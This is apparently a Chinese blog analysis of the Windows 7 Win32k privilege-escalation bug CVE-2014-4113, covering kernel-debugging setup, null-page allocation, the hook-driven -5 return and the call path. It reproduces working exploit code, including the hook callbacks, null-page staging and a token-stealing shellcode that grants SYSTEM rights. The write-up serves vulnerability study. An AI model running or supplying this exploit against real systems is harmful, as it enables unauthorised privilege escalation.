CVE-2014-4113漏洞分析 MS14-058
调试工具 : IDA 6.8 Windbg Preview Visual Stdio 2017 VirtualKD-Redux-2022.0
镜像 : windows7 x86
1 ed2k://|file|cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso|2653276160|7503E4B9B8738DFCB95872445C72AEFB|/
windows7 x64
1 ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/
0x01 配置双机调试环境 因为是第一次调试内核漏洞,所以环境的搭建还是要补充一下
首先去下载VirtualKD,我用的是最新的
https://github.com/4d61726b/VirtualKD-Redux/releases/tag/2022.0
直接下载压缩包就好
如果要调试32位的系统就把target32放到要调试的系统内,要调试64位的系统就放target64到系统内
然后下载windbg,如果要用Windbg Preview需要在微软商店下载,普通的windbg安装visual stdio自带
这里尝个鲜用Windbg Preview主要是感觉界面好看点
打开VirtualKD中的vmmon64.exe
如果要使用windbg preview是需要配置路径的,当然windbg也需要,不过windbg可以直接找到
windbg preview是微软下载的,找不到文件路径,可以先打开然后在任务管理器中找到
进程名为DbgX.Shell.exe,右键属性
可以看到路径是C:\Program Files\WindowsApps.…….微软商店下载的程序都是在这里的
将完整的路径填入然后选择该程序
这样windbg配置就完成了,点击run debugger就会弹出windbg
在虚拟机打开target32文件夹,点击vminstall
直接点install->确定->是,然后电脑就会重启,然后弹出
F8之后选择禁用驱动程序签名强制
然后windbg就会弹出,虚拟机也会卡住,这时候在windbg在输入g,效果等于x64dbg中的F9,就会让程序继续运行,这里是让系统继续运行
然后配置符号表
1 2 .sympath d:\symbols;srv*D:\symbols*https://msdl.microsoft.com/download/symbols .reload
这时候windbg就开始下载符号表了,下载完成后可以在调用栈看到函数名称
如果后续有没出现的函数重新.reload就好
到这里配置的就差不多了
下面开始分析漏洞,因为整个漏洞调来调去很复杂,如果下面写的不清楚的还麻烦各位师傅指正
0x02 NtAllocateVirtualMemory申请零地址内存 很多文章都是写零页内存的,但是为了清晰一点,零地址这种说法应该也不是很错
首先要了解win32的4GB虚拟内存是怎么分布的
低2GB是用户用的,范围是0x00000000-0x7FFFFFFF
高2GB是内核用的,范围是0x80000000-0xFFFFFFFF
虚拟内存地址范围
功能描述
0x00000000-0x0000FFFF
空指针区,正常情况是不能访问的
0x00010000-0x7FFEFFFF
进程使用的内存
0X7FFF0000-0X7FFFFFFF
不允许使用,因为这段内存要是写入过长的数据可能会影响到内核,破坏内核完整性
0x80000000-0xFFFFFFFF
内核
为啥0x00000000-0x0000FFFF不能写入呢,我的理解是这样的,如果有人写了
当然这里的代码是随便写的,本意就是如果a为0就想让这个程序报错,那么直接call 0这程序就异常退出了
00000000这段不可写这代码就没问题,除了退出的方式有点暴力,所以需要设置空指针区不可写
可写的话就会被人写入不可描述的东西
下面用windbg查看一下这段内存
我这里是先在虚拟机中用x64dbg打开exp,然后windbg暂停
!process 0 0 列出所有进程的EPROCESS结构地址,找到Exp进程的EPROCESS地址
.process命令介绍:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-process--set-process-context-
因为用户态的2GB是不同的所以要先.process EPRCOESS就可以看到指定进程的用户态的内存了
最后用!address 00000000查看该块内存属性
可以看到该内存没有属性,只有0-10000的范围
1 2 3 !process 0 0 .process 87659d40 !address 00000000
下面来说申请零页内存了,高于win7的系统是没有这个问题的
先来看一下NtAllocateVirtualMemory函数
1 2 3 4 5 6 7 8 __kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory ( [in] HANDLE ProcessHandle, [in, out] PVOID *BaseAddress, [in] ULONG_PTR ZeroBits, [in, out] PSIZE_T RegionSize, [in] ULONG AllocationType, [in] ULONG Protect ) ;
ProcessHandle 指定要申请内存的进程的句柄,有没有一点远程进程注入的感觉
BaseAddress 要申请的内存的地址的指针,为空则是系统分配内存,这里和之前讲过的免杀的VirtualAlloc一样,VirtualAlloc往下走就是NtAllocateVirtualMemory函数,这个参数就是对应VirtualAlloc的第一个参数,之前写免杀的时候第一个参数都是NULL的,让系统来分配内存
正常来说我们想申请0地址的内存那么第一个地址就应该填0,但是填0又是让系统分配内存,这是冲突的,所以这里要填1,其实12345678应该都是没关系的,不像有些文章说的只能填特定的数字,具体填到多少会导致失败这个就没研究过了,然后这样就成功要到零地址了
ZeroBits 对于漏洞没什么特别的意义,置零就好,具体用法可以查看官方文档
RegionSize 指向要申请内存大小的指针,申请0x1000实际会得到0x2000,会比实际要的多申请到0x1000的大小
AllocationType 内存的类型,在exp中有MEM_TOP_DOWN参数,这个参数的意思是在可能最高地址地址分配内存,实测好像不加这个也不会影响到申请零页内存,且有些文章还说这参数可以倒着分配内存,如果地址为1则这个内存页会从0xFFFFE001也就是-8191开始分配内存,这0xFFFFE001都已经到内核了怎么可能让你直接申请到,后来还是windbg看了再明白
Protect 内存的属性,就可读可写可执行
在exp中是这样调用这个函数的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 DWORD base_address = 1 ; SIZE_T region_size = 0x1000 ; NTSTATUS tmp = pNtAllocateVirtualMemory( GetCurrentProcess(), (LPVOID*)(&base_address), 0 , ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE ); if (tmp != (NTSTATUS)0x0 ) { printf ("Failed to allocate null page.\n" ); return ; }
原理讲的差不多了再回到调试,还是先到虚拟机用x64dbg调试
可以看到这里esi是指向NtAllocateVirtualMemory的函数指针,这里call esi后就是调用NtAllocateVirtualMemory了
堆栈区则是几个参数,这里着重看第二个参数BaseAddress,因为这个参数是in out都用的,也就是申请成功的地址会返回该指针指向的内存
在没调用之前指向的内存的值是00000001,在执行call esi后
可以看到值被改为了00000000且eax返回0,说明内存申请成功了,这时候再去windbg看一下
可以看到得到一块0x0-0x2000的内存,且属性是可读可写可执行
到这里申请零页内存的就讲的差不多了,可能有师傅看到这里不明白为什么要开零页内存的,因为提权的shellcode需要摆在0x5B处,所以必须先让这块内存有可写属性,这个后面会具体说
0x03 漏洞函数调用流程 在exp中前面都是布置一些东西
像CreateWindowA,RegisterClassA这些东西就不介绍了,因为我也讲不清楚,都是创建窗口一类的东西
主要还是来看漏洞函数TrackPopupMenu
首先来看一下调用栈,怎么得到这个调用栈,可以在编译的时候关闭ASLR选项
属性->链接器->高级->随机基址,选择否就关闭了,这样shellcode的地址就不会变化,然后去x64dbg中找到shellcode的地址,因为代码中把shellcode的地址存入5B了所以关注这条指令就可以找到shellcode地址
这条指令可以看到shellcode的地址
然后在windbg中打上硬件断点
然后运行exp,windbg会在执行到shellcode位置时停住,这时候输入kb就可以查看完整的调用栈了
如果输出的都是地址可以输入.reload重新加载符号表这样就可以看到了,因为windbg的符号表不是直接加载好的,是内存中有什么就载入什么符号表
来观察整理这个函数的调用
1 2 3 4 5 6 7 8 9 10 shellcode win32k!xxxSendMessage win32k!xxxHandleMenuMessages win32k!xxxMNLoop win32k!xxxTrackPopupMenuEx win32k!NtUserTrackPopupMenuEx nt!KiFastCallEntry //进入内核 ntdll!KiFastSystemCallRet USER32!NtUserTrackPopupMenuEx USER32!TrackPopupMenu
直接去最后看看到底是什么触发了漏洞,这里的话用IDA查看方便点
可以看到xxxSendMessage调用了xxxSendMessageTimeout
在xxxSendMessageTimeout+0x1A9处有一条call [esi+60h]
传到这里的esi就是FFFFFFFB,加上60就是0000005B,这也是shellcode地址要写到这里的原因
实际上这调用栈也不是完整的因为代码中有一些hook,就是这些hook让函数返回了-5也就是FFFFFFFB最终触发了漏洞
开始折磨吧
RegisterClassA 首先是RegisterClassA函数,作用是注册一个窗口类,参数是一个指向WNDCLASSA的指针
1 2 3 ATOM RegisterClassA ( [in] const WNDCLASSA *lpWndClass ) ;
WNDCLASSA WNDCLASSA结构
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct tagWNDCLASSA { UINT style; WNDPROC lpfnWndProc; int cbClsExtra; int cbWndExtra; HINSTANCE hInstance; HICON hIcon; HCURSOR hCursor; HBRUSH hbrBackground; LPCSTR lpszMenuName; LPCSTR lpszClassName; } WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;
因为不是全部用得到所以就不写所有参数的具体用法了,感兴趣的师傅可以去官方文档了解
https://docs.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-wndclassa
下面来看一下exp中是怎么写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { printf ("WindProc called with message=%d\n" , msg); if (msg == WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0 ); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0 ); PostMessageA(hwnd, WM_LBUTTONDOWN, 0 , 0 ); } return DefWindowProc(hwnd, msg, wParam, lParam); } WNDCLASSA wnd_class = { 0 }; wnd_class.lpfnWndProc = WndProc; wnd_class.hInstance = GetModuleHandle(NULL ); wnd_class.lpszClassName = "abcde" ;
SetWindowsHookExA 然后是SetWindowsHookExA函数,因为第一个hook就是这个函数创建的
先看一下这个函数
1 2 3 4 5 6 HHOOK SetWindowsHookExA ( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ) ;
idHook 选择什么操作要HOOK,最常见的就是键盘记录可以填写WH_KEYBOARD参数,代表按键盘就会触发一次hook,在exp中用的是WH_CALLWNDPROC,代表在系统将消息发送到目标窗口之前会先执行hook函数
lpfn 要执行hook函数
hmod 包含lpfn 参数指向的钩子过程的 DLL 句柄。如果dwThreadId 参数指定由当前进程创建的线程并且挂钩过程在与当前进程关联的代码内,则hMod参数 必须设置为NULL 。
dwThreadId 与挂钩过程关联的线程的标识符。对于桌面应用程序,如果此参数为零,则挂钩过程与在与调用线程相同的桌面中运行的所有现有线程相关联。应该就是指定某个线程进行hook吧
官方文档https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
来看一下源码中怎么写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 LRESULT CALLBACK HookCallback (int code, WPARAM wParam, LPARAM lParam) { printf ("Callback one called.\n" ); if (*(DWORD *)(lParam + 8 ) == MN_FINDMENUWINDOWFROMPOINT) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(*(HWND *)(lParam + 12 ), GWLP_WNDPROC, (LONG)HookCallbackTwo); } } return CallNextHookEx(0 , code, wParam, lParam); } HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL , GetCurrentThreadId());
再来看一下这个HOOK函数的格式,这种回调函数的格式一般是指定的
1 2 3 4 5 LRESULT CALLBACK CallWndProc ( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) ;
nCode 指定挂钩过程是否必须处理消息。如果nCode是HC_ACTION,则挂钩过程必须处理该消息。如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数而不进行进一步处理,并且必须返回CallNextHookEx返回的值。
wParam 指定消息是否由当前线程发送。如果消息是由当前线程发送的,则为非零;否则为零。
lParam 指向tagCWPSTRUCT结构的指针
上面基本都是官方文档翻译过来的
原版https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644975(v=vs.85)
tagCWPSTRUCT 这里需要再了解一下tagCWPSTRUCT结构
1 2 3 4 5 6 typedef struct tagCWPSTRUCT { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd; } CWPSTRUCT, *PCWPSTRUCT, *NPCWPSTRUCT, *LPCWPSTRUCT;
lParam和wParam不清楚是啥,官方文档也没说
message 我理解的是从内核返回的消息值
hwnd 是返回这个消息值的句柄
官方文档https://docs.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-cwpstruct
以上我的理解是R3向R0发送消息,R0处理后也返回一个消息,如果有HOOK的话返回的消息会先经过HOOK被处理,再到应该到的地方
CallNextHookEx函数感觉就是在HOOK函数处理完之后把处理过后的东西发到此消息该去的地方
像HOOK函数的那些参数实际上都是返回得到,这些参数不需要去传
再回到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 LRESULT CALLBACK HookCallback (int code, WPARAM wParam, LPARAM lParam) { printf ("Callback one called.\n" ); if (*(DWORD *)(lParam + 8 ) == MN_FINDMENUWINDOWFROMPOINT) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(*(HWND *)(lParam + 12 ), GWLP_WNDPROC, (LONG)HookCallbackTwo); } } return CallNextHookEx(0 , code, wParam, lParam); }
再看看HookCallbackTwo
1 2 3 4 5 6 LRESULT CALLBACK HookCallbackTwo (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { printf ("Callback two called.\n" ); EndMenu(); return -5 ; }
GetPTI() 接下来是GetPTI(),这个函数的作用是返回Win32ThreadInfo的地址
1 2 3 4 5 6 DWORD __stdcall GetPTI () { __asm { mov eax, fs:18 h mov eax, [eax + 40 h] } }
这没啥好说的,就是从fs段中取出TEB存入eax中,在0x40偏移的位置上得到Win32ThreadInfo地址
TokenStealingShellcodeWin7 这是提权的函数
存储在内存中,最后由内核来执行达到提权的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #define KTHREAD_OFFSET 0x124 #define EPROCESS_OFFSET 0x050 #define PID_OFFSET 0x0B4 #define FLINK_OFFSET 0x0B8 #define TOKEN_OFFSET 0x0F8 #define SYSTEM_PID 0x004 int __stdcall TokenStealingShellcodeWin7 (int one, int two, int three, int four) { __asm { ; initialize pushad; ;保存所有寄存器,最后要堆栈平衡 xor eax, eax; ;eax置零 mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread ;得到当前线程的KTHREAD结构地址 mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process ;得到当前进程的EPROCESS结构地址 mov ecx, eax; Copy current _EPROCESS structure ;将当前进程的EPROCESS结构地址保存到ecx中 mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token ;将当前进程的token保存到ebx中 mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4 ;将0x4 保存在edx中,0x4 是windows系统中SYSTEM进程的PID,是不变的,可以用任务管理器看到 SearchSystemPID: ;这一段主要的作用是遍历所有进程,找到PID为4 的进程也就是SYSTEM mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink ;将下一个进程的EPROCESS.ActiveProcessLinks结构地址保存到eax中 sub eax, FLINK_OFFSET ;eax减去FLINK_OFFSET的偏移是EPROCESS结构起始地址 cmp [eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId ;取PID对比是否为0x4 jne SearchSystemPID ;是的话就跳出来 mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token ;取SYSTEM进程的token mov [ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM ; to current process ;把SYSYTEM的TOKEN值复制到当前进程 popad; restore registers state ;恢复堆栈 } return 0 ; }
这里有些英文注释没删除,可以更好的了解这些值在结构的什么位置
因为把整个结构全部拿出来实在太多了,所以就挑用到的写了,整体结构的话以后看看有没有机会写吧
这个函数的作用就是得到SYSTEM进程的token后覆盖当前进程的token来提权
整理下过程
申请零页位置内存
存入shellcode位置和一些必要信息,这个后面还会写
布置窗口
设置HOOK函数
TrackPopupMenu弹出窗口后使用PostMessageA进行点击
触发首个Hook判断是否接收到0x1EB的消息
触发第二个Hook销毁菜单返回-5
-5进入内核到xxxSendMessageTimeout函数触发漏洞
执行shellcode覆盖exp的token
得到SYSTEM权限
0x04 漏洞分析 在上面已经提到了调用栈,先用IDA看看,再来使用windbg跟一跟
漏洞函数都在win32k.sys中,需要先下载符号表,当然如果windbg配置好了的话也是会自动下载下来的
关于下载指定符号表可以看[逆向小tips]: www.macchiatio.ink这篇文章
打开IDA加载符号表找到NtUserTrackPopupMenuEx函数
在51行找到xxxTrackPopupMenuEx函数
不同的IDA位置可能会有点不同,但是不会差很远
函数还有别的函数,实在太多了不可能全部讲过去,因为很多我也不会,主要就是站在exp的角度看一下主要的函数
在xxxTrackPopupMenuEx的279行走到xxxMNLoop
在xxxMNLoop有两个xxxHandleMenuMessages,漏洞走的是while(1)包含的xxxHandleMenuMessages函数,位置在163行
再进入xxxHandleMenuMessages函数,找到147行的xxxMNFindWindowFromPoint函数
这里就有点关键了
在这个函数里面调用了xxxSendMessage,向R3发送1EB
可以看到在伪代码中写的是0xEB,不知道为什么会有这样的问题,这里需要用汇编看
右键->Copy assembly
在汇编中可以清晰的看到是0x1EB,这个0x1EB被R3的Hook函数
那就可以用windbg在这里下个断点
如果转到汇编的时候是一块一块的,可以右键Text View
点击函数位置可以再下面看到偏移
然后到windbg里面看看汇编是否相同
1 u xxxMNFindWindowFromPoint+0x53
可以看到汇编也是call xxxSendMessage那就在这里打一个断点
1 ba e1 win32k!xxxMNFindWindowFromPoint+0x53
同时到x64dbg那边去在hook函数位置打个断点
重新执行exp
走到单步步过这里停住了,回到系统中把hook函数执行完
可以看到返回的结果是0xfffffffb,也就是-5
那这里的话就要具体看一下里面是什么情况了
因为在里面重新回到了R3,所以想看看到底是什么函数实现的
然后跟着跟着不知道到哪里去了
回到x64dbg看看hook是怎么走到
在R3中通过int 2B回到R0
最后在搜索下找到了KeUserModeCallback执行的流程,完整的文章会放在最后
nt!KeUserModeCallback -> nt!KiCallUserMode -> nt!KiServiceExit -> ntdll!KiUserCallbackDispatcher -> 回调函数 -> int2B -> nt!KiCallbackReturn -> nt!KeUserModeCallback
网上有一篇文章写的是R0会通过SfnOUTDWORDINDWORD->KeUserModeCallback返回R3执行HooK
断点打在SfnOUTDWORDINDWORD是可以断到Hook的
那这里实际上应该是SfnOUTDWORDINDWOR->KeUserModeCallback->………..->回调函数->int 2B->内核
在SfnOUTDWORDINDWORD停止后看一下堆栈,这是第一个Hook
可以看到xxxSendMessage->xxxSendMessageTimeout->xxxCallHook->………->SfnOUTDWORDINDWORD
下面是第二个Hook
这两个Hook打在SfnOUTDWORDINDWORD都可以看到
所以最上面的调用栈是不完整的
下面列一下一个较为完整的调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 NtUserTrackPopupMenuEx+0xc3 xxxTrackPopupMenuEx+0x5cd xxxMNLoop+0x2c6 xxxHandleMenuMessages+0x9e xxxMNFindWindowFromPoint+0x58 xxxSendMessage+0x28 xxxSendMessageTimeout+0x179 xxxCallHook+0x26 第一个Hook xxxCallHook2+0x35f xxxHkCallHook+0x196 SfnOUTDWORDINDWORD KeUserModeCallback R0 结束 HookCallback R3回调函数 int 2B 回R0 xxxSendMessageTimeout+0x1cf xxxSendMessageToClient+0x175 SfnOUTDWORDINDWORD KeUserModeCallback HookCallbackTwo return -5 int 2B xxxSendMessageTimeout+0x1ac shellcode
基本是这样的了,最后来看一下KeUserModeCallback是怎么从R3取数据的
首先到第二次的SfnOUTDWORDINDWORD
在win32k!SfnOUTDWORDINDWORD+0xba到了KeUserModeCallback函数
可以看到0012FE10的位置的值是FFFFFFFB
再回到汇编
这一段的意思是如果edx的值小于eax,就将edx指向的值取出存入ecx,edx指向的值就是FFFFFFFB
反之直接取7FFF0000指向的值存入ecx
就是判断edx的值是不是属于R3的,如果不属于R3就取7FFF0000指向的值
看看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 v28 = KeUserModeCallback(33 , &v20, 24 , &v27, &v29); UserEnterUserCritSec(); ThreadUnlock1(); ms_exc.registration.TryLevel = 1 ; v13 = (int )&v9[53 ].Next[10 ]; *(_DWORD *)v13 = v17; v13 += 4 ; *(_DWORD *)v13 = v18; *(_DWORD *)(v13 + 4 ) = v19; ms_exc.registration.TryLevel = -2 ; if ( v28 < 0 || v29 != 12 ) { result = 0 ; } else { ms_exc.registration.TryLevel = 2 ; if ( v27 < W32UserProbeAddress ) v14 = *(_DWORD *)v27; else v14 = *(_DWORD *)W32UserProbeAddress; v30 = v14; ms_exc.registration.TryLevel = -2 ; if ( (!a8 || !(*(_BYTE *)(a8 + 36 ) & 5 )) && !(a7 & 2 ) ) { ms_exc.registration.TryLevel = 3 ; v15 = *(_DWORD **)(v27 + 8 ); if ( (unsigned int )v15 >= W32UserProbeAddress ) v15 = (_DWORD *)W32UserProbeAddress; *v31 = *v15; ms_exc.registration.TryLevel = -2 ; } result = v30; } return result;
就挑了重要的来说了一下
xxxSendMessage执行后v6=FFFFFFFB
return v6
返回到xxxHandleMenuMessages的147行,值为V13,在上面的截图中有
到176行v13被传入xxxSendMessage
xxxSendMessage->xxxSendMessageTimeout
最后到xxxSendMessageTimeout+0x1A9的位置执行call [esi+60h]
这时候esi是FFFFFFFB,加上60h后为5B,这也shellcode要放在5B的原因
到这里所有流程都差不多了
1 2 3 void * pti_loc = (void *)0x3 ;*(LPDWORD)pti_loc = GetPTI();void * check_loc = (void *)0x11 ; *(LPBYTE)check_loc = 0x4 ;void * shellcode_loc = (void *)0x5b ;
这里还需要再解释一下
5B就不用说了
0x11这里要设置成4是因为上面还有判断,esi+0x16需要为4
0x3这里需要指向Win32ThreadInfo结构指针
在上面的代码中gptiCurrent==Win32ThreadInfo
如果不正确配置的话Win32ThreadInfo结构中的东西会不能访问导致if不会下来
其实xxxSendMessage的第一个参数就是指向win32k!tagWND结构的指针
漏洞中构建了一个畸形的win32k!tagWND结构
结构信息可以通过下面的命令查看
tagWND 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 +0x000 head : _THRDESKHEAD _THRDESKHEAD +0x000 h : Ptr32 Void +0x004 cLockObj : Uint4B +0x008 pti : Ptr32 tagTHREADINFO +0x00c rpdesk : Ptr32 tagDESKTOP +0x010 pSelf : Ptr32 UChar +0x014 state : Uint4B +0x014 bHasMeun : Pos 0, 1 Bit +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit +0x014 bHasCaption : Pos 3, 1 Bit +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit +0x014 bMsgBox : Pos 5, 1 Bit +0x014 bActiveFrame : Pos 6, 1 Bit +0x014 bHasSPB : Pos 7, 1 Bit +0x014 bNoNCPaint : Pos 8, 1 Bit +0x014 bSendEraseBackground : Pos 9, 1 Bit +0x014 bEraseBackground : Pos 10, 1 Bit +0x014 bSendNCPaint : Pos 11, 1 Bit +0x014 bInternalPaint : Pos 12, 1 Bit +0x014 bUpdateDirty : Pos 13, 1 Bit +0x014 bHiddenPopup : Pos 14, 1 Bit +0x014 bForceMenuDraw : Pos 15, 1 Bit +0x014 bDialogWindow : Pos 16, 1 Bit +0x014 bHasCreatestructName : Pos 17, 1 Bit +0x014 bServerSideWindowProc : Pos 18, 1 Bit +0x014 bAnsiWindowProc : Pos 19, 1 Bit +0x014 bBeingActivated : Pos 20, 1 Bit +0x014 bHasPalette : Pos 21, 1 Bit +0x014 bPaintNotProcessed : Pos 22, 1 Bit +0x014 bSyncPaintPending : Pos 23, 1 Bit +0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit +0x014 bRecievedSuspendMsg : Pos 25, 1 Bit +0x014 bToggleTopmost : Pos 26, 1 Bit +0x014 bRedrawIfHung : Pos 27, 1 Bit +0x014 bRedrawFrameIfHung : Pos 28, 1 Bit +0x014 bAnsiCreator : Pos 29, 1 Bit +0x014 bMaximizesToMonitor : Pos 30, 1 Bit +0x014 bDestroyed : Pos 31, 1 Bit +0x018 state2 : Uint4B +0x018 bWMPaintSent : Pos 0, 1 Bit +0x018 bEndPaintInvalidate : Pos 1, 1 Bit +0x018 bStartPaint : Pos 2, 1 Bit +0x018 bOldUI : Pos 3, 1 Bit +0x018 bHasClientEdge : Pos 4, 1 Bit +0x018 bBottomMost : Pos 5, 1 Bit +0x018 bFullScreen : Pos 6, 1 Bit +0x018 bInDestroy : Pos 7, 1 Bit +0x018 bWin31Compat : Pos 8, 1 Bit +0x018 bWin40Compat : Pos 9, 1 Bit +0x018 bWin50Compat : Pos 10, 1 Bit +0x018 bMaximizeMonitorRegion : Pos 11, 1 Bit +0x018 bCloseButtonDown : Pos 12, 1 Bit +0x018 bMaximizeButtonDown : Pos 13, 1 Bit +0x018 bMinimizeButtonDown : Pos 14, 1 Bit +0x018 bHelpButtonDown : Pos 15, 1 Bit +0x018 bScrollBarLineUpBtnDown : Pos 16, 1 Bit +0x018 bScrollBarPageUpBtnDown : Pos 17, 1 Bit +0x018 bScrollBarPageDownBtnDown : Pos 18, 1 Bit +0x018 bScrollBarLineDownBtnDown : Pos 19, 1 Bit +0x018 bAnyScrollButtonDown : Pos 20, 1 Bit +0x018 bScrollBarVerticalTracking : Pos 21, 1 Bit +0x018 bForceNCPaint : Pos 22, 1 Bit +0x018 bForceFullNCPaintClipRgn : Pos 23, 1 Bit +0x018 FullScreenMode : Pos 24, 3 Bits +0x018 bCaptionTextTruncated : Pos 27, 1 Bit +0x018 bNoMinmaxAnimatedRects : Pos 28, 1 Bit +0x018 bSmallIconFromWMQueryDrag : Pos 29, 1 Bit +0x018 bShellHookRegistered : Pos 30, 1 Bit +0x018 bWMCreateMsgProcessed : Pos 31, 1 Bit +0x01c ExStyle : Uint4B +0x01c bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit +0x01c bUnused1 : Pos 1, 1 Bit +0x01c bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit +0x01c bWS_EX_TOPMOST : Pos 3, 1 Bit +0x01c bWS_EX_ACCEPTFILE : Pos 4, 1 Bit +0x01c bWS_EX_TRANSPARENT : Pos 5, 1 Bit +0x01c bWS_EX_MDICHILD : Pos 6, 1 Bit +0x01c bWS_EX_TOOLWINDOW : Pos 7, 1 Bit +0x01c bWS_EX_WINDOWEDGE : Pos 8, 1 Bit +0x01c bWS_EX_CLIENTEDGE : Pos 9, 1 Bit +0x01c bWS_EX_CONTEXTHELP : Pos 10, 1 Bit +0x01c bMakeVisibleWhenUnghosted : Pos 11, 1 Bit +0x01c bWS_EX_RIGHT : Pos 12, 1 Bit +0x01c bWS_EX_RTLREADING : Pos 13, 1 Bit +0x01c bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit +0x01c bUnused2 : Pos 15, 1 Bit +0x01c bWS_EX_CONTROLPARENT : Pos 16, 1 Bit +0x01c bWS_EX_STATICEDGE : Pos 17, 1 Bit +0x01c bWS_EX_APPWINDOW : Pos 18, 1 Bit +0x01c bWS_EX_LAYERED : Pos 19, 1 Bit +0x01c bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit +0x01c bUnused3 : Pos 21, 1 Bit +0x01c bWS_EX_LAYOUTRTL : Pos 22, 1 Bit +0x01c bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit +0x01c bUnused4 : Pos 24, 1 Bit +0x01c bWS_EX_COMPOSITED : Pos 25, 1 Bit +0x01c bUIStateActive : Pos 26, 1 Bit +0x01c bWS_EX_NOACTIVATE : Pos 27, 1 Bit +0x01c bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit +0x01c bRedirected : Pos 29, 1 Bit +0x01c bUIStateKbdAccelHidden : Pos 30, 1 Bit +0x01c bUIStateFocusRectHidden : Pos 31, 1 Bit +0x020 style : Uint4B +0x020 bReserved1 : Pos 0, 16 Bits +0x020 bWS_MAXIMIZEBOX : Pos 16, 1 Bit +0x020 bReserved2 : Pos 0, 16 Bits +0x020 bWS_TABSTOP : Pos 16, 1 Bit +0x020 bReserved3 : Pos 0, 16 Bits +0x020 bUnused5 : Pos 16, 1 Bit +0x020 bWS_MINIMIZEBOX : Pos 17, 1 Bit +0x020 bReserved4 : Pos 0, 16 Bits +0x020 bUnused6 : Pos 16, 1 Bit +0x020 bWS_GROUP : Pos 17, 1 Bit +0x020 bReserved5 : Pos 0, 16 Bits +0x020 bUnused7 : Pos 16, 2 Bits +0x020 bWS_THICKFRAME : Pos 18, 1 Bit +0x020 bReserved6 : Pos 0, 16 Bits +0x020 bUnused8 : Pos 16, 2 Bits +0x020 bWS_SIZEBOX : Pos 18, 1 Bit +0x020 bReserved7 : Pos 0, 16 Bits +0x020 bUnused9 : Pos 16, 3 Bits +0x020 bWS_SYSMENU : Pos 19, 1 Bit +0x020 bWS_HSCROLL : Pos 20, 1 Bit +0x020 bWS_VSCROLL : Pos 21, 1 Bit +0x020 bWS_DLGFRAME : Pos 22, 1 Bit +0x020 bWS_BORDER : Pos 23, 1 Bit +0x020 bMaximized : Pos 24, 1 Bit +0x020 bWS_CLIPCHILDREN : Pos 25, 1 Bit +0x020 bWS_CLIPSIBLINGS : Pos 26, 1 Bit +0x020 bDisabled : Pos 27, 1 Bit +0x020 bVisible : Pos 28, 1 Bit +0x020 